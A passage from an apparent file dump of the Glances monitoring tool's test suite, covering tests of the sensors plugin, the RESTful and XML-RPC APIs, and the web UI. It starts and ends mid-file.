    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Tests for the Sensors plugin.\"\"\"\n\nimport json\n\nimport pytest\n\nfrom glances.globals import LINUX\nfrom glances.plugins.sensors import GlancesGrabSensors\n\n\n@pytest.fixture\ndef sensors_plugin(glances_stats):\n    \"\"\"Return the Sensors plugin instance from glances_stats.\"\"\"\n    return glances_stats.get_plugin('sensors')\n\n\nclass TestSensorsPluginBasics:\n    \"\"\"Test basic Sensors plugin functionality.\"\"\"\n\n    def test_plugin_name(self, sensors_plugin):\n        \"\"\"Test plugin name is correctly set.\"\"\"\n        assert sensors_plugin.plugin_name == 'sensors'\n\n    def test_plugin_is_enabled(self, sensors_plugin):\n        \"\"\"Test that the plugin is enabled by default.\"\"\"\n        assert sensors_plugin.is_enabled() is True\n\n    def test_display_curse_enabled(self, sensors_plugin):\n        \"\"\"Test that curse display is enabled.\"\"\"\n        assert sensors_plugin.display_curse is True\n\n    def test_get_key_returns_label(self, sensors_plugin):\n        \"\"\"Test that get_key returns label.\"\"\"\n        assert sensors_plugin.get_key() == 'label'\n\n\nclass TestSensorsPluginUpdate:\n    \"\"\"Test Sensors plugin update functionality.\"\"\"\n\n    def test_update_returns_list(self, sensors_plugin):\n        \"\"\"Test that update returns a list.\"\"\"\n        sensors_plugin.update()\n        stats = sensors_plugin.get_raw()\n        assert isinstance(stats, list)\n\n    def test_each_sensor_has_label(self, sensors_plugin):\n        \"\"\"Test that each sensor entry has a label.\"\"\"\n        sensors_plugin.update()\n        stats = sensors_plugin.get_raw()\n        for sensor in stats:\n            assert 'label' in sensor\n\n    def test_each_sensor_has_type(self, sensors_plugin):\n        \"\"\"Test that each sensor entry has a type.\"\"\"\n        sensors_plugin.update()\n        stats = sensors_plugin.get_raw()\n        for sensor in stats:\n            assert 'type' in sensor\n\n    def test_each_sensor_has_value(self, sensors_plugin):\n        \"\"\"Test that each sensor entry has a value.\"\"\"\n        sensors_plugin.update()\n        stats = sensors_plugin.get_raw()\n        for sensor in stats:\n            assert 'value' in sensor\n\n    def test_each_sensor_has_unit(self, sensors_plugin):\n        \"\"\"Test that each sensor entry has a unit.\"\"\"\n        sensors_plugin.update()\n        stats = sensors_plugin.get_raw()\n        for sensor in stats:\n            assert 'unit' in sensor\n\n\nclass TestSensorsPluginTypes:\n    \"\"\"Test Sensors plugin sensor types.\"\"\"\n\n    def test_valid_sensor_types(self, sensors_plugin):\n        \"\"\"Test that sensor types are valid.\"\"\"\n        sensors_plugin.update()\n        stats = sensors_plugin.get_raw()\n        valid_types = ['temperature_core', 'fan_speed', 'temperature_hdd', 'battery']\n        for sensor in stats:\n            assert sensor['type'] in valid_types\n\n\nclass TestSensorsPluginViews:\n    \"\"\"Test Sensors plugin views functionality.\"\"\"\n\n    def test_update_views_creates_views(self, sensors_plugin):\n        \"\"\"Test that update_views creates views dictionary.\"\"\"\n        sensors_plugin.update()\n        sensors_plugin.update_views()\n        views = sensors_plugin.get_views()\n        assert isinstance(views, dict)\n\n    def test_views_keyed_by_label(self, sensors_plugin):\n        \"\"\"Test that views are keyed by sensor label.\"\"\"\n        sensors_plugin.update()\n        sensors_plugin.update_views()\n        views = sensors_plugin.get_views()\n        stats = sensors_plugin.get_raw()\n        for sensor in stats:\n            if sensor['label'] in views:\n                assert isinstance(views[sensor['label']], dict)\n\n\nclass TestSensorsPluginJSON:\n    \"\"\"Test Sensors plugin JSON serialization.\"\"\"\n\n    def test_get_stats_returns_json(self, sensors_plugin):\n        \"\"\"Test that get_stats returns valid JSON.\"\"\"\n        sensors_plugin.update()\n        stats_json = sensors_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        assert isinstance(parsed, list)\n\n    def test_json_preserves_sensor_data(self, sensors_plugin):\n        \"\"\"Test that JSON output preserves sensor data.\"\"\"\n        sensors_plugin.update()\n        stats_json = sensors_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        for sensor in parsed:\n            assert 'label' in sensor\n            assert 'type' in sensor\n            assert 'value' in sensor\n\n\nclass TestSensorsPluginReset:\n    \"\"\"Test Sensors plugin reset functionality.\"\"\"\n\n    def test_reset_clears_stats(self, sensors_plugin):\n        \"\"\"Test that reset clears stats.\"\"\"\n        sensors_plugin.update()\n        sensors_plugin.reset()\n        stats = sensors_plugin.get_raw()\n        assert stats == sensors_plugin.get_init_value()\n\n    def test_reset_views(self, sensors_plugin):\n        \"\"\"Test that reset_views clears views.\"\"\"\n        sensors_plugin.update()\n        sensors_plugin.update_views()\n        sensors_plugin.reset_views()\n        assert sensors_plugin.get_views() == {}\n\n\nclass TestSensorsPluginFieldsDescription:\n    \"\"\"Test Sensors plugin fields description.\"\"\"\n\n    def test_fields_description_exists(self, sensors_plugin):\n        \"\"\"Test that fields_description is defined.\"\"\"\n        assert sensors_plugin.fields_description is not None\n\n    def test_mandatory_fields_described(self, sensors_plugin):\n        \"\"\"Test that mandatory fields have descriptions.\"\"\"\n        mandatory_fields = ['label', 'unit', 'value', 'type']\n        for field in mandatory_fields:\n            assert field in sensors_plugin.fields_description\n\n    def test_threshold_fields_described(self, sensors_plugin):\n        \"\"\"Test that threshold fields are described.\"\"\"\n        assert 'warning' in sensors_plugin.fields_description\n        assert 'critical' in sensors_plugin.fields_description\n\n\nclass TestSensorsPluginMsgCurse:\n    \"\"\"Test Sensors plugin curse message generation.\"\"\"\n\n    def test_msg_curse_returns_list(self, sensors_plugin):\n        \"\"\"Test that msg_curse returns a list.\"\"\"\n        sensors_plugin.update()\n        msg = sensors_plugin.msg_curse(max_width=80)\n        assert isinstance(msg, list)\n\n    def test_msg_curse_empty_without_max_width(self, sensors_plugin):\n        \"\"\"Test that msg_curse returns empty without max_width.\"\"\"\n        sensors_plugin.update()\n        msg = sensors_plugin.msg_curse()\n        assert isinstance(msg, list)\n\n\nclass TestSensorsPluginExport:\n    \"\"\"Test Sensors plugin export functionality.\"\"\"\n\n    def test_get_export_returns_list(self, sensors_plugin):\n        \"\"\"Test that get_export returns a list.\"\"\"\n        sensors_plugin.update()\n        export = sensors_plugin.get_export()\n        assert isinstance(export, list)\n\n    def test_export_equals_raw(self, sensors_plugin):\n        \"\"\"Test that export equals raw stats by default.\"\"\"\n        sensors_plugin.update()\n        assert sensors_plugin.get_export() == sensors_plugin.get_raw()\n\n\nclass TestSensorsPluginRefresh:\n    \"\"\"Test Sensors plugin refresh configuration.\"\"\"\n\n    def test_refresh_multiplier_applied(self, sensors_plugin):\n        \"\"\"Test that refresh multiplier is applied.\"\"\"\n        # Sensors have a default refresh multiplier\n        refresh = sensors_plugin.get_refresh()\n        assert refresh >= 1  # Should be at least 1 second\n\n\nclass TestSensorsPluginBatteryTrend:\n    \"\"\"Test Sensors plugin battery trend functionality.\"\"\"\n\n    def test_battery_trend_charging(self, sensors_plugin):\n        \"\"\"Test battery trend for charging status.\"\"\"\n        result = sensors_plugin.battery_trend({'status': 'Charging'})\n        assert result != ''\n\n    def test_battery_trend_discharging(self, sensors_plugin):\n        \"\"\"Test battery trend for discharging status.\"\"\"\n        result = sensors_plugin.battery_trend({'status': 'Discharging'})\n        assert result != ''\n\n    def test_battery_trend_full(self, sensors_plugin):\n        \"\"\"Test battery trend for full status.\"\"\"\n        result = sensors_plugin.battery_trend({'status': 'Full'})\n        assert result != ''\n\n    def test_battery_trend_no_status(self, sensors_plugin):\n        \"\"\"Test battery trend with no status.\"\"\"\n        result = sensors_plugin.battery_trend({})\n        assert result == ''\n\n\nclass TestSensorsPluginThresholds:\n    \"\"\"Test Sensors plugin threshold handling.\"\"\"\n\n    def test_sensor_warning_threshold(self, sensors_plugin):\n        \"\"\"Test that sensors can have warning thresholds.\"\"\"\n        sensors_plugin.update()\n        stats = sensors_plugin.get_raw()\n        for sensor in stats:\n            # Warning threshold may be None or an int\n            if 'warning' in sensor:\n                assert sensor['warning'] is None or isinstance(sensor['warning'], (int, float))\n\n    def test_sensor_critical_threshold(self, sensors_plugin):\n        \"\"\"Test that sensors can have critical thresholds.\"\"\"\n        sensors_plugin.update()\n        stats = sensors_plugin.get_raw()\n        for sensor in stats:\n            # Critical threshold may be None or an int\n            if 'critical' in sensor:\n                assert sensor['critical'] is None or isinstance(sensor['critical'], (int, float))\n\n\nclass TestSensorsPluginGrabMap:\n    \"\"\"Test Sensors plugin grab map functionality.\"\"\"\n\n    def test_sensors_grab_map_exists(self, sensors_plugin):\n        \"\"\"Test that sensors_grab_map is defined.\"\"\"\n        assert hasattr(sensors_plugin, 'sensors_grab_map')\n        assert isinstance(sensors_plugin.sensors_grab_map, dict)\n\n\n@pytest.mark.skipif(not LINUX, reason=\"GlancesGrabSensors only fully works on Linux\")\nclass TestGlancesGrabSensors:\n    \"\"\"Test GlancesGrabSensors class.\"\"\"\n\n    def test_cpu_temp_sensor_init(self):\n        \"\"\"Test CPU temperature sensor initialization.\"\"\"\n        sensor_def = {'type': 'temperature_core', 'unit': 'C'}\n        try:\n            sensor = GlancesGrabSensors(sensor_def)\n            # init may be True or False depending on hardware\n            assert hasattr(sensor, 'init')\n        except Exception as e:\n            # May fail on systems without temperature sensors\n            print(f\"Sensor init failed: {e}\")\n\n    def test_fan_speed_sensor_init(self):\n        \"\"\"Test fan speed sensor initialization.\"\"\"\n        sensor_def = {'type': 'fan_speed', 'unit': 'R'}\n        try:\n            sensor = GlancesGrabSensors(sensor_def)\n            assert hasattr(sensor, 'init')\n        except Exception as e:\n            # May fail on systems without fan sensors\n            print(f\"Sensor init failed: {e}\")\n\n    def test_sensor_update_returns_list(self):\n        \"\"\"Test that sensor update returns a list.\"\"\"\n        sensor_def = {'type': 'temperature_core', 'unit': 'C'}\n        try:\n            sensor = GlancesGrabSensors(sensor_def)\n            if sensor.init:\n                result = sensor.update()\n                assert isinstance(result, list)\n        except Exception as e:\n            # May fail on systems without sensors\n            print(f\"Sensor init failed: {e}\")\n\n\nclass TestSensorsPluginAlerts:\n    \"\"\"Test Sensors plugin alert functionality.\"\"\"\n\n    def test_views_have_value_decoration(self, sensors_plugin):\n        \"\"\"Test that sensor views have decoration for value field.\"\"\"\n        sensors_plugin.update()\n        sensors_plugin.update_views()\n        views = sensors_plugin.get_views()\n        stats = sensors_plugin.get_raw()\n\n        for sensor in stats:\n            label = sensor['label']\n            if label in views and 'value' in views[label]:\n                if sensor['value']:  # Only check if value is not empty\n                    assert 'decoration' in views[label]['value']\n"
  },
  {
    "path": "tests/test_restful.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances unitary tests suite for the RESTful API.\"\"\"\n\nimport numbers\nimport os\nimport shlex\nimport subprocess\nimport time\nimport types\nimport unittest\n\nimport requests\n\nfrom glances import __version__\nfrom glances.globals import text_type\nfrom glances.outputs.glances_restful_api import GlancesRestfulApi\nfrom glances.timer import Counter\n\nSERVER_PORT = 61234\nAPI_VERSION = GlancesRestfulApi.API_VERSION\nURL = f\"http://localhost:{SERVER_PORT}/api/{API_VERSION}\"\npid = None\n\n# Unitest class\n# ==============\nprint(f'RESTful API unitary tests for Glances {__version__}')\n\n\nclass TestGlances(unittest.TestCase):\n    \"\"\"Test Glances class.\"\"\"\n\n    def setUp(self):\n        \"\"\"The function is called *every time* before test_*.\"\"\"\n        print('\\n' + '=' * 78)\n\n    def http_get(self, url, gzip=False):\n        \"\"\"Make the request\"\"\"\n        if gzip:\n            ret = requests.get(url, stream=True, headers={'Accept-encoding': 'gzip'})\n        else:\n            ret = requests.get(url, headers={'Accept-encoding': 'identity'})\n        return ret\n\n    def test_000_start_server(self):\n        \"\"\"Start the Glances Web Server.\"\"\"\n        global pid\n\n        print('INFO: [TEST_000] Start the Glances Web Server API')\n        if os.path.isfile('.venv/bin/python'):\n            cmdline = \".venv/bin/python\"\n        else:\n            cmdline = \"python\"\n        cmdline += f\" -m glances -B 0.0.0.0 -w --browser -p {SERVER_PORT} --disable-webui -C ./conf/glances.conf\"\n        print(f\"Run the Glances Web Server on port {SERVER_PORT}\")\n        args = shlex.split(cmdline)\n        pid = subprocess.Popen(args)\n        print(\"Please wait 5 seconds...\")\n        time.sleep(5)\n\n        self.assertTrue(pid is not None)\n\n    def test_001_all(self):\n        \"\"\"All.\"\"\"\n        method = \"all\"\n        print('INFO: [TEST_001] Get all stats')\n        print(f\"HTTP RESTful request: {URL}/{method}\")\n        # First call is not cached\n        counter_first_call = Counter()\n        first_req = self.http_get(f\"{URL}/{method}\")\n        self.assertTrue(first_req.ok)\n        self.assertTrue(first_req.json(), dict)\n        counter_first_call_result = counter_first_call.get()\n        # Second call (if it is in the same second) is cached\n        counter_second_call = Counter()\n        second_req = self.http_get(f\"{URL}/{method}\")\n        self.assertTrue(second_req.ok)\n        self.assertTrue(second_req.json(), dict)\n        counter_second_call_result = counter_second_call.get()\n        # Check if result of first call is equal to second call\n        # Note: We comment this line because on some system (like Windows CI),\n        # the stats can change between the two calls (example: network stats)\n        # self.assertEqual(first_req.json(), second_req.json(),\n        #                  \"The result of the first and second call should be equal\")\n        # Check cache result\n        print(\n            f\"First API call took {counter_first_call_result:.2f} seconds\"\n            f\" and second API call (cached) took {counter_second_call_result:.2f} seconds\"\n        )\n        self.assertTrue(\n            counter_second_call_result < counter_first_call_result,\n            \"The second call should be cached (faster than the first one)\",\n        )\n\n    def test_002_pluginslist(self):\n        \"\"\"Plugins list.\"\"\"\n        method = \"pluginslist\"\n        print('INFO: [TEST_002] Plugins list')\n        print(f\"HTTP RESTful request: {URL}/{method}\")\n        req = self.http_get(f\"{URL}/{method}\")\n\n        self.assertTrue(req.ok)\n        self.assertIsInstance(req.json(), list)\n        self.assertIn('cpu', req.json())\n\n    def test_003_plugins(self):\n        \"\"\"Plugins.\"\"\"\n        method = \"pluginslist\"\n        print('INFO: [TEST_003] Plugins')\n        plist = self.http_get(f\"{URL}/{method}\")\n\n        for p in plist.json():\n            print(f\"HTTP RESTful request: {URL}/{p}\")\n            req = self.http_get(f\"{URL}/{p}\")\n            self.assertTrue(req.ok)\n            if p in ('uptime', 'version', 'psutilversion'):\n                self.assertIsInstance(req.json(), text_type)\n            elif p in (\n                'fs',\n                'percpu',\n                'sensors',\n                'alert',\n                'processlist',\n                'programlist',\n                'diskio',\n                'hddtemp',\n                'batpercent',\n                'network',\n                'folders',\n                'amps',\n                'ports',\n                'irq',\n                'wifi',\n                'gpu',\n                'containers',\n                'vms',\n                'npu',\n            ):\n                if isinstance(req.json(), dict) and not req.json():\n                    # Specific case for plugins that can be empty on VM (like sensors, containers...)\n                    # They return an empty dict instead of an empty list\n                    continue\n                self.assertIsInstance(req.json(), list)\n                if len(req.json()) > 0:\n                    self.assertIsInstance(req.json()[0], dict)\n            else:\n                self.assertIsInstance(req.json(), dict)\n\n    def test_004_items(self):\n        \"\"\"Items.\"\"\"\n        method = \"cpu\"\n        print('INFO: [TEST_004] Items for the CPU method')\n        ilist = self.http_get(f\"{URL}/{method}\")\n\n        for i in ilist.json():\n            print(f\"HTTP RESTful request: {URL}/{method}/{i}\")\n            req = self.http_get(f\"{URL}/{method}/{i}\")\n            self.assertTrue(req.ok)\n            self.assertIsInstance(req.json(), dict)\n            print(req.json()[i])\n            # Value can be a number or None (for _rate in first loop)\n            self.assertIsInstance(req.json()[i], (numbers.Number, types.NoneType))\n\n    def test_005_values(self):\n        \"\"\"Values.\"\"\"\n        method = \"processlist\"\n        print('INFO: [TEST_005] Item=Value for the PROCESSLIST method')\n        req = self.http_get(f\"{URL}/{method}/pid/value/0\")\n\n        self.assertTrue(req.ok)\n        self.assertIsInstance(req.json(), dict)\n\n    def test_006_all_limits(self):\n        \"\"\"All limits.\"\"\"\n        method = \"all/limits\"\n        print('INFO: [TEST_006] Get all limits')\n        print(f\"HTTP RESTful request: {URL}/{method}\")\n        req = self.http_get(f\"{URL}/{method}\")\n\n        self.assertTrue(req.ok)\n        self.assertIsInstance(req.json(), dict)\n\n    def test_007_all_views(self):\n        \"\"\"All views.\"\"\"\n        method = \"all/views\"\n        print('INFO: [TEST_007] Get all views')\n        print(f\"HTTP RESTful request: {URL}/{method}\")\n        req = self.http_get(f\"{URL}/{method}\")\n\n        self.assertTrue(req.ok)\n        self.assertIsInstance(req.json(), dict)\n\n    def test_008_plugins_limits(self):\n        \"\"\"Plugins limits.\"\"\"\n        method = \"pluginslist\"\n        print('INFO: [TEST_008] Plugins limits')\n        plist = self.http_get(f\"{URL}/{method}\")\n\n        for p in plist.json():\n            print(f\"HTTP RESTful request: {URL}/{p}/limits\")\n            req = self.http_get(f\"{URL}/{p}/limits\")\n            self.assertTrue(req.ok)\n            self.assertIsInstance(req.json(), dict)\n\n    def test_009_plugins_views(self):\n        \"\"\"Plugins views.\"\"\"\n        method = \"pluginslist\"\n        print('INFO: [TEST_009] Plugins views')\n        plist = self.http_get(f\"{URL}/{method}\")\n\n        for p in plist.json():\n            print(f\"HTTP RESTful request: {URL}/{p}/views\")\n            req = self.http_get(f\"{URL}/{p}/views\")\n            self.assertTrue(req.ok)\n            self.assertIsInstance(req.json(), dict)\n\n    def test_010_history(self):\n        \"\"\"History.\"\"\"\n        method = \"history\"\n        print('INFO: [TEST_010] History')\n        print(f\"HTTP RESTful request: {URL}/cpu/{method}\")\n        req = self.http_get(f\"{URL}/cpu/{method}\")\n        self.assertIsInstance(req.json(), dict)\n        self.assertIsInstance(req.json()['user'], list)\n        self.assertTrue(len(req.json()['user']) > 0)\n        print(f\"HTTP RESTful request: {URL}/cpu/{method}/3\")\n        req = self.http_get(f\"{URL}/cpu/{method}/3\")\n        self.assertIsInstance(req.json(), dict)\n        self.assertIsInstance(req.json()['user'], list)\n        self.assertTrue(len(req.json()['user']) > 1)\n        print(f\"HTTP RESTful request: {URL}/cpu/system/{method}\")\n        req = self.http_get(f\"{URL}/cpu/system/{method}\")\n        self.assertIsInstance(req.json(), list)\n        self.assertIsInstance(req.json()[0], list)\n        print(f\"HTTP RESTful request: {URL}/cpu/system/{method}/3\")\n        req = self.http_get(f\"{URL}/cpu/system/{method}/3\")\n        self.assertIsInstance(req.json(), list)\n        self.assertIsInstance(req.json()[0], list)\n\n    def test_011_issue1401(self):\n        \"\"\"Check issue #1401.\"\"\"\n        method = \"network/interface_name\"\n        print('INFO: [TEST_011] Issue #1401')\n        req = self.http_get(f\"{URL}/{method}\")\n        self.assertTrue(req.ok)\n        self.assertIsInstance(req.json(), dict)\n        self.assertIsInstance(req.json()['interface_name'], list)\n\n    def test_012_status(self):\n        \"\"\"Check status endpoint.\"\"\"\n        method = \"status\"\n        print('INFO: [TEST_012] Status')\n        print(f\"HTTP RESTful request: {URL}/{method}\")\n        req = self.http_get(f\"{URL}/{method}\")\n\n        self.assertTrue(req.ok)\n        self.assertEqual(req.json()['version'], __version__)\n\n    def test_013_top(self):\n        \"\"\"Values.\"\"\"\n        method = \"processlist\"\n        request = f\"{URL}/{method}/top/2\"\n        print('INFO: [TEST_013] Top nb item of PROCESSLIST')\n        print(request)\n        req = self.http_get(request)\n\n        self.assertTrue(req.ok)\n        self.assertIsInstance(req.json(), list)\n        self.assertEqual(len(req.json()), 2)\n\n    def test_014_config(self):\n        \"\"\"Test API request to get Glances configuration.\"\"\"\n        method = \"config\"\n        print('INFO: [TEST_014] Get config')\n\n        req = self.http_get(f\"{URL}/{method}\")\n        self.assertTrue(req.ok)\n        self.assertIsInstance(req.json(), dict)\n\n        req = self.http_get(f\"{URL}/{method}/global/refresh\")\n        self.assertTrue(req.ok)\n        self.assertEqual(req.json(), \"2\")\n\n    def test_015_all_gzip(self):\n        \"\"\"All with Gzip.\"\"\"\n        method = \"all\"\n        print('INFO: [TEST_015] Get all stats (with GZip compression)')\n        print(f\"HTTP RESTful request: {URL}/{method}\")\n        req = self.http_get(f\"{URL}/{method}\", gzip=True)\n\n        self.assertTrue(req.ok)\n        self.assertTrue(req.headers['Content-Encoding'] == 'gzip')\n        self.assertTrue(req.json(), dict)\n\n    def test_016_fields_description(self):\n        \"\"\"Fields description.\"\"\"\n        print('INFO: [TEST_016] Get fields description and unit')\n\n        print(f\"HTTP RESTful request: {URL}/cpu/total/description\")\n        req = self.http_get(f\"{URL}/cpu/total/description\")\n        self.assertTrue(req.ok)\n        self.assertTrue(req.json(), str)\n\n        print(f\"HTTP RESTful request: {URL}/cpu/total/unit\")\n        req = self.http_get(f\"{URL}/cpu/total/unit\")\n        self.assertTrue(req.ok)\n        self.assertTrue(req.json(), str)\n\n    def test_017_item_key(self):\n        \"\"\"Get /plugin/item/key value.\"\"\"\n        print('INFO: [TEST_017] Get /plugin/item/key value')\n        plugin = \"network\"\n        item = \"interface_name\"\n        req = self.http_get(f\"{URL}/{plugin}/{item}\")\n        self.assertTrue(req.ok)\n        self.assertIsInstance(req.json(), dict)\n        self.assertIsInstance(req.json()[item], list)\n        if len(req.json()[item]) > 0:\n            key = req.json()[item][0]\n            item = \"bytes_all\"\n            req = self.http_get(f\"{URL}/{plugin}/{item}/{key}\")\n            self.assertTrue(req.ok)\n            self.assertIsInstance(req.json(), dict)\n            self.assertIsInstance(req.json()[item], int)\n\n    def test_100_browser(self):\n        \"\"\"Get /serverslist (for Glances Central Browser).\"\"\"\n        print('INFO: [TEST_100] Get /serverslist (for Glances Central Browser)')\n        req = self.http_get(f\"{URL}/serverslist\")\n        self.assertTrue(req.ok)\n        self.assertIsInstance(req.json(), list)\n        if len(req.json()) > 0:\n            self.assertIsInstance(req.json()[0], dict)\n\n    def test_999_stop_server(self):\n        \"\"\"Stop the Glances Web Server.\"\"\"\n        print('INFO: [TEST_999] Stop the Glances Web Server')\n\n        print(\"Stop the Glances Web Server\")\n        pid.terminate()\n        time.sleep(1)\n\n        self.assertTrue(True)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/test_webui.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances unitary tests suite for the WebUI.\n\nThis test uses Selenium to test the Glances WebUI.\nUnder the wood, it uses the ChromeDriver.\n\nCheck your Chrome version with:\n    /usr/bin/google-chrome --version\nCheck your ChromeDriver version with:\n    /usr/bin/chromedriver --version\n\nThe (major) version should match.\n\nIf not, download and install the correct version of ChromeDriver.\nhttps://googlechromelabs.github.io/chrome-for-testing/#stable\n\"\"\"\n\nimport os\nimport tempfile\nimport time\n\nimport pytest\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.common.by import By\n\nSCREENSHOT_RESOLUTIONS = [\n    # PC\n    (640, 480),\n    (800, 600),\n    (1024, 768),\n    (1600, 900),\n    (1280, 1024),\n    (1600, 1200),\n    (1920, 1200),\n    # IPHONE\n    (750, 1334),  # 8\n    (1080, 1920),  # 8 Plus\n    (1242, 2208),  # XS\n    (1125, 2436),  # 11 Pro\n    (1179, 2556),  # 15\n    (1320, 2868),  # 16 Pro Max\n    # PIXEL Phone\n    (1080, 2400),  # Pixel 7\n]\n\n\n@pytest.fixture(scope=\"module\")\ndef glances_homepage(web_browser):\n    time.sleep(3)\n    web_browser.get(\"http://localhost:61234\")\n    return web_browser\n\n\ndef test_screenshot(glances_webserver, glances_homepage):\n    \"\"\"\n    Test Glances home page screenshot.\n    \"\"\"\n    if glances_webserver is None:\n        raise AssertionError(\"Glances webserver is not running\")\n    for resolution in SCREENSHOT_RESOLUTIONS:\n        glances_homepage.set_window_size(*resolution)\n        glances_homepage.save_screenshot(\n            os.path.join(tempfile.gettempdir(), f\"glances-{'-'.join(map(str, list(resolution)))}.png\")\n        )\n\n\ndef test_loading_time(glances_webserver, glances_homepage):\n    \"\"\"\n    Test Glances home page loading time.\n    \"\"\"\n    if glances_webserver is None:\n        raise AssertionError(\"Glances webserver is not running\")\n    navigation_start = glances_homepage.execute_script(\"return window.performance.timing.navigationStart\")\n    response_start = glances_homepage.execute_script(\"return window.performance.timing.responseStart\")\n    dom_complete = glances_homepage.execute_script(\"return window.performance.timing.domComplete\")\n    backend_perf = response_start - navigation_start\n    frontend_perf = dom_complete - response_start\n    if backend_perf >= 2000:\n        raise AssertionError(f\"Backend performance is too slow: {backend_perf}ms (limit is 2000ms)\")\n    if frontend_perf >= 2000:\n        raise AssertionError(f\"Frontend performance is too slow: {frontend_perf}ms (limit is 2000ms)\")\n\n\ndef test_title(glances_webserver, glances_homepage):\n    \"\"\"\n    Test Glances home page title.\n    \"\"\"\n    if glances_webserver is None:\n        raise AssertionError(\"Glances webserver is not running\")\n    if \"Glances\" not in glances_homepage.title:\n        raise AssertionError(f\"Expected 'Glances' in title, but got '{glances_homepage.title}'\")\n\n\ndef test_plugins(glances_webserver, glances_homepage):\n    \"\"\"\n    Test Glances defaults plugins.\n    \"\"\"\n    if glances_webserver is None:\n        raise AssertionError(\"Glances webserver is not running\")\n    for plugin in [\n        \"system\",\n        \"now\",\n        \"uptime\",\n        \"quicklook\",\n        \"cpu\",\n        \"mem\",\n        \"memswap\",\n        \"load\",\n        \"network\",\n        \"diskio\",\n        \"fs\",\n        \"sensors\",\n        \"processcount\",\n        \"processlist\",\n    ]:\n        if plugin == 'sensors':\n            try:\n                assert glances_homepage.find_element(By.ID, plugin) is not None\n            except NoSuchElementException:\n                # Sensors can be hidden on VM\n                pass\n        else:\n            assert glances_homepage.find_element(By.ID, plugin) is not None\n"
  },
  {
    "path": "tests/test_xmlrpc.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances unitary tests suite for the XML-RPC API.\"\"\"\n\nimport json\nimport os\nimport shlex\nimport subprocess\nimport time\nimport unittest\n\nfrom glances import __version__\nfrom glances.client import GlancesClient\n\nSERVER_HOST = 'localhost'\nSERVER_PORT = 61235\npid = None\n\n\n# Init the XML-RPC client\nclass args:\n    client = SERVER_HOST\n    port = SERVER_PORT\n    username = \"\"\n    password = \"\"\n    time = 3\n    quiet = False\n\n\nclient = GlancesClient(args=args).client\n\n# Unitest class\n# ==============\nprint(f'XML-RPC API unitary tests for Glances {__version__}')\n\n\nclass TestGlances(unittest.TestCase):\n    \"\"\"Test Glances class.\"\"\"\n\n    def setUp(self):\n        \"\"\"The function is called *every time* before test_*.\"\"\"\n        print('\\n' + '=' * 78)\n\n    def test_000_start_server(self):\n        \"\"\"Start the Glances Web Server.\"\"\"\n        global pid\n\n        print('INFO: [TEST_000] Start the Glances Web Server')\n        if os.path.isfile('.venv/bin/python'):\n            cmdline = \".venv/bin/python\"\n        else:\n            cmdline = \"python\"\n        cmdline += f\" -m glances -B localhost -s -p {SERVER_PORT}\"\n        print(f\"Run the Glances Server on port {SERVER_PORT}\")\n        args = shlex.split(cmdline)\n        pid = subprocess.Popen(args)\n        print(\"Please wait...\")\n        time.sleep(1)\n\n        self.assertTrue(pid is not None)\n\n    def test_001_all(self):\n        \"\"\"All.\"\"\"\n        method = \"getAll()\"\n        print('INFO: [TEST_001] Connection test')\n        print(f\"XML-RPC request: {method}\")\n        req = json.loads(client.getAll())\n\n        self.assertIsInstance(req, dict)\n\n    def test_002_pluginslist(self):\n        \"\"\"Plugins list.\"\"\"\n        method = \"getAllPlugins()\"\n        print('INFO: [TEST_002] Get plugins list')\n        print(f\"XML-RPC request: {method}\")\n        req = json.loads(client.getAllPlugins())\n        print(req)\n\n        self.assertIsInstance(req, list)\n        self.assertIn('cpu', req)\n\n    def test_003_system(self):\n        \"\"\"System.\"\"\"\n        method = \"getSystem()\"\n        print(f'INFO: [TEST_003] Method: {method}')\n        req = json.loads(client.getPlugin('system'))\n\n        self.assertIsInstance(req, dict)\n\n    def test_004_cpu(self):\n        \"\"\"CPU.\"\"\"\n        method = \"getCpu(), getPerCpu(), getLoad() and getCore()\"\n        print(f'INFO: [TEST_004] Method: {method}')\n\n        req = json.loads(client.getPlugin('cpu'))\n        self.assertIsInstance(req, dict)\n\n        req = json.loads(client.getPlugin('percpu'))\n        self.assertIsInstance(req, list)\n\n        req = json.loads(client.getPlugin('load'))\n        self.assertIsInstance(req, dict)\n\n        req = json.loads(client.getPlugin('core'))\n        self.assertIsInstance(req, dict)\n\n    def test_005_mem(self):\n        \"\"\"MEM.\"\"\"\n        method = \"getMem() and getMemSwap()\"\n        print(f'INFO: [TEST_005] Method: {method}')\n\n        req = json.loads(client.getPlugin('mem'))\n        self.assertIsInstance(req, dict)\n\n        req = json.loads(client.getPlugin('memswap'))\n        self.assertIsInstance(req, dict)\n\n    def test_006_net(self):\n        \"\"\"NETWORK.\"\"\"\n        method = \"getNetwork()\"\n        print(f'INFO: [TEST_006] Method: {method}')\n\n        req = json.loads(client.getPlugin('network'))\n        self.assertIsInstance(req, list)\n\n    def test_007_disk(self):\n        \"\"\"DISK.\"\"\"\n        method = \"getFs(), getFolders() and getDiskIO()\"\n        print(f'INFO: [TEST_007] Method: {method}')\n\n        req = json.loads(client.getPlugin('fs'))\n        self.assertIsInstance(req, list)\n\n        req = json.loads(client.getPlugin('folders'))\n        self.assertIsInstance(req, list)\n\n        req = json.loads(client.getPlugin('diskio'))\n        self.assertIsInstance(req, list)\n\n    def test_008_sensors(self):\n        \"\"\"SENSORS.\"\"\"\n        method = \"getSensors()\"\n        print(f'INFO: [TEST_008] Method: {method}')\n\n        req = 